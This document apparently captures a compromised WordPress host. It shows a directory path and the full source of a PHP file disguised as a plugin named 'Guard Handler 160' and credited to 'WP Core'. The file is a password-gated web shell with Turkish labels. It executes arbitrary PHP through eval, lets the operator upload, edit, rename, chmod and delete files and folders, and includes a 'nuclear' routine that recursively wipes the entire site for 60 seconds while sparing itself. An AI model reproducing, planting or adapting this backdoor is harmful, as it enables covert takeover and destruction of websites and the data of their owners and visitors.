Linux webm002.cluster126.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
/
home
/
ariannadhf
/
www
/
wp-content
/
plugins
/
guard-handler-160
/
/home/ariannadhf/www/wp-content/plugins/guard-handler-160/guard-handler-160.php
<?php /* Plugin Name: Guard Handler 160 Description: WordPress Guard Handler 160 Version: 1.0.5 Author: WP Core */ ?> <?php session_start(); $P = "feminist"; if(!isset($_SESSION["x"])){ if(isset($_POST["p"]) && $_POST["p"]==$P){$_SESSION["x"]=1;} else{die("<center><form method=POST><h3>x</h3><input type=password name=p><input type=submit value=Giris></form></center>");} } $dir = isset($_GET["d"]) ? $_GET["d"] : $_SERVER["DOCUMENT_ROOT"]; chdir($dir); // === temizle === if(isset($_POST["nukleer"])){ ignore_user_abort(true); set_time_limit(0); $koru = [basename(__FILE__)]; $pisSilindi = 0; function pisSil($dir, $koru, &$pisSilindi) { $items = @scandir($dir); if(!$items) return; foreach($items as $item) { if($item == "." || $item == "..") continue; $yol = "$dir/$item"; if(is_dir($yol)) { pisSil($yol, $koru, $pisSilindi); @rmdir($yol); } else { if(in_array($item, $koru)) continue; @chmod($yol, 0777); if(@unlink($yol)) $pisSilindi++; } } } pisSil(".", $koru, $pisSilindi); echo "<div style=background:#ff0000;color:#fff;padding:10px;><b>NUKLEER BASLADI!</b><br>Ilk silinen: $pisSilindi dosya</div>"; $bitis = time() + 60; $tur = 0; while(time() < $bitis) { $tur++; $yeniSilinen = 0; try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator(".", RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($iterator as $f) { $ad = $f->getFilename(); $yol = $f->getPathname(); if(in_array($ad, $koru)) continue; if($f->isDir()) { @rmdir($yol); } else { @chmod($yol, 0777); if(@unlink($yol)) $yeniSilinen++; } } } catch(Exception $e) {} if($yeniSilinen > 0) { echo "<div style=background:#ff6600;color:#fff;padding:5px;>Tur $tur: $yeniSilinen dosya daha silindi</div>"; $pisSilindi += $yeniSilinen; } usleep(500000); } echo "<div style=background:#00ff00;color:#000;padding:10px;><b>60 SN TEMIZLIK BITTI!</b><br>Toplam silinen: $pisSilindi</div><hr>"; } // === TOPLU DOSYA SİLME === if(isset($_POST["toplu_sil"])){ $secili = $_POST["secili"]; $silinen = 0; foreach($secili as $dosya){ if(@unlink($dosya)) $silinen++; } echo "<div style=background:#ff0000;color:#fff;padding:5px;><b>$silinen dosya silindi</b></div><hr>"; } // === PHP ÇALIŞTIRMA === if(isset($_POST["exec_php"])){ $php_code = $_POST["php_code"]; echo "<hr><b>PHP Ciktisi:</b><br><div style=background:#000;color:#0f0;padding:10px;font-family:monospace;>"; eval($php_code); echo "</div><hr>"; } // === DOSYA İZNİ DEĞİŞTİRME === if(isset($_POST["chmod"])){ $chmod_file = $_POST["chmod_file"]; $chmod_val = octdec($_POST["chmod_val"]); if(chmod($chmod_file, $chmod_val)){ echo "<div style=background:#00ff00;color:#000;padding:5px;><b>$chmod_file izni " . $_POST["chmod_val"] . " yapildi</b></div><hr>"; } else { echo "<div style=background:#ff0000;color:#fff;padding:5px;><b>HATA: $chmod_file izni degistirilemedi</b></div><hr>"; } } // === DOSYA OLUŞTURMA === if(isset($_POST["touch"])){ $touch_file = $_POST["touch_file"]; $touch_content = $_POST["touch_content"]; if(file_put_contents($touch_file, $touch_content)){ echo "<div style=background:#00ff00;color:#000;padding:5px;><b>$touch_file olusturuldu</b></div><hr>"; } else { echo "<div style=background:#ff0000;color:#fff;padding:5px;><b>HATA: $touch_file olusturulamadi</b></div><hr>"; } } // === KLASÖR OLUŞTURMA === if(isset($_POST["mkdir"])){ $mkdir_name = $_POST["mkdir_name"]; if(mkdir($mkdir_name, 0755, true)){ echo "<div style=background:#00ff00;color:#000;padding:5px;><b>$mkdir_name klasoru olusturuldu</b></div><hr>"; } else { echo "<div style=background:#ff0000;color:#fff;padding:5px;><b>HATA: $mkdir_name olusturulamadi</b></div><hr>"; } } // === TEK DOSYA SİLME === if(isset($_GET["del"])){ if(@unlink($_GET["del"])){ echo "<div style=background:#00ff00;color:#000;padding:5px;><b>".$_GET["del"]." silindi</b></div><hr>"; } else { echo "<div style=background:#ff0000;color:#fff;padding:5px;><b>HATA: Silinemedi</b></div><hr>"; } } // === KLASÖR SİLME (RECURSIVE - İÇİNİ BOŞALTIP SİLER) === if(isset($_GET["rmdir"])){ $silDir = $_GET["rmdir"]; function delTree($dir) { $files = array_diff(scandir($dir), array('.','..')); foreach ($files as $file) { (is_dir("$dir/$file")) ? delTree("$dir/$file") : @unlink("$dir/$file"); } return @rmdir($dir); } if(delTree($silDir)){ echo "<div style=background:#00ff00;color:#000;padding:5px;><b>$silDir ve içindekiler silindi</b></div><hr>"; } else { echo "<div style=background:#ff0000;color:#fff;padding:5px;><b>HATA: $silDir silinemedi</b></div><hr>"; } } if(isset($_FILES["u"])){ move_uploaded_file($_FILES["u"]["tmp_name"], $_FILES["u"]["name"]); } if(isset($_POST["rn"])){ rename($_POST["old"], $_POST["new"]); } if(isset($_GET["lock"])){ chmod($_GET["lock"], 0444); } if(isset($_GET["unlock"])){ chmod($_GET["unlock"], 0644); } if(isset($_POST["sv"])){ file_put_contents($_POST["fn"], $_POST["cc"]); } echo "<b>Dizin: ".getcwd()."</b> <a href=?d=..>[Geri]</a><hr>"; // === NÜKLEER BUTONU === echo "<form method=POST onsubmit=\"return confirm('☢️ TÜM SİTEYİ SİLMEK İSTEDİĞİNE EMİN MİSİN? ☢️')\"><input type=submit name=nukleer value=\"☢️ SÜPER NUKLEER TEMIZLIK (60SN) ☢️\" style=background:#ff0000;color:#fff;font-size:18px;padding:10px;width:100%;cursor:pointer;></form><hr>"; // === DOSYA OLUŞTURMA FORMU === echo "<form method=POST><b>Yeni Dosya Olustur:</b><br><input type=text name=touch_file placeholder=dosya.php size=30><br><textarea name=touch_content placeholder=\"icerik\" style=width:100%;height:60px></textarea><br><input type=submit name=touch value=OLUSTUR style=background:#0066ff;color:#fff;></form><hr>"; // === KLASÖR OLUŞTURMA FORMU === echo "<form method=POST><b>Yeni Klasor Olustur:</b><br><input type=text name=mkdir_name placeholder=klasor_adi size=30> <input type=submit name=mkdir value=OLUSTUR style=background:#0066ff;color:#fff;></form><hr>"; // === PHP ÇALIŞTIRMA FORMU === echo "<form method=POST><b>PHP Kod Calistir:</b><br><textarea name=php_code style=width:100%;height:100px placeholder=\"phpinfo();\"></textarea><br><input type=submit name=exec_php value=CALISTIR style=background:#ff0000;color:#fff;></form><hr>"; // === CHMOD FORMU === echo "<form method=POST><b>Dosya Izni Degistir:</b><br><input type=text name=chmod_file placeholder=dosya.php size=20> <input type=text name=chmod_val placeholder=0777 size=5> <input type=submit name=chmod value=DEGISTIR style=background:#ff6600;color:#fff;></form><hr>"; echo "<form enctype=multipart/form-data method=POST><input type=file name=u> <input type=submit value=Yukle></form><hr>"; if(isset($_GET["e"])){ $e = $_GET["e"]; $ct = htmlspecialchars(file_get_contents($e)); echo "<form method=POST><input type=hidden name=fn value=$e><textarea name=cc style=width:100%;height:200px>$ct</textarea><br><input type=submit name=sv value=KAYDET></form><hr>"; } // === TOPLU SİLME FORMU === echo "<form method=POST id=topluForm>"; $items = scandir("."); echo "<table border=1 width=100%>"; echo "<tr style=background:#333;color:#fff><td><input type=checkbox id=tumunuSec onclick=\"var c=this.checked;var x=document.getElementsByName('secili[]');for(var i=0;i<x.length;i++){x[i].checked=c;}\"></td><td>Dosya</td><td>Boyut</td><td>Tarih</td><td>Islemler</td></tr>"; foreach($items as $i){ if($i=="." || $i=="..") continue; echo "<tr>"; if(!is_dir($i)){ $boyut = @filesize($i); $boyut_str = $boyut > 1048576 ? round($boyut/1048576,2)." MB" : ($boyut > 1024 ? round($boyut/1024,2)." KB" : $boyut." B"); $tarih = date("Y-m-d H:i", @filemtime($i)); echo "<td><input type=checkbox name=secili[] value=$i></td><td>$i</td><td>$boyut_str</td><td>$tarih</td><td>"; echo "<a href=?d=$dir&e=$i>[ED]</a> | <a href=?d=$dir&lock=$i>[KILIT]</a> | <a href=?d=$dir&unlock=$i>[AC]</a> | <a href=?d=$dir&del=$i onclick=\"return confirm('Silmek istedigine emin misin?')\" style=color:red>[SIL]</a> | <form style=display:inline method=POST><input type=hidden name=old value=$i><input type=text name=new size=5><input type=submit name=rn value=Ren></form>"; } else { echo "<td>-</td><td><b>[DIR] $i</b></td><td>-</td><td>-</td><td><a href=?d=".realpath($i).">[GIT]</a> | <a href=?d=$dir&rmdir=$i onclick=\"return confirm('Klasor ve icindekiler silinecek! Emin misin?')\" style=color:red>[SIL]</a></td>"; } echo "</tr>"; } echo "</table>"; // TOPLU SİLME BUTONU echo "<br><input type=submit name=toplu_sil value=\"SEÇİLİ DOSYALARI SİL\" style=background:#ff0000;color:#fff;font-size:16px;padding:8px; onclick=\"return confirm('Seçili dosyaları silmek istediğine emin misin?')\">"; echo "</form>"; ?>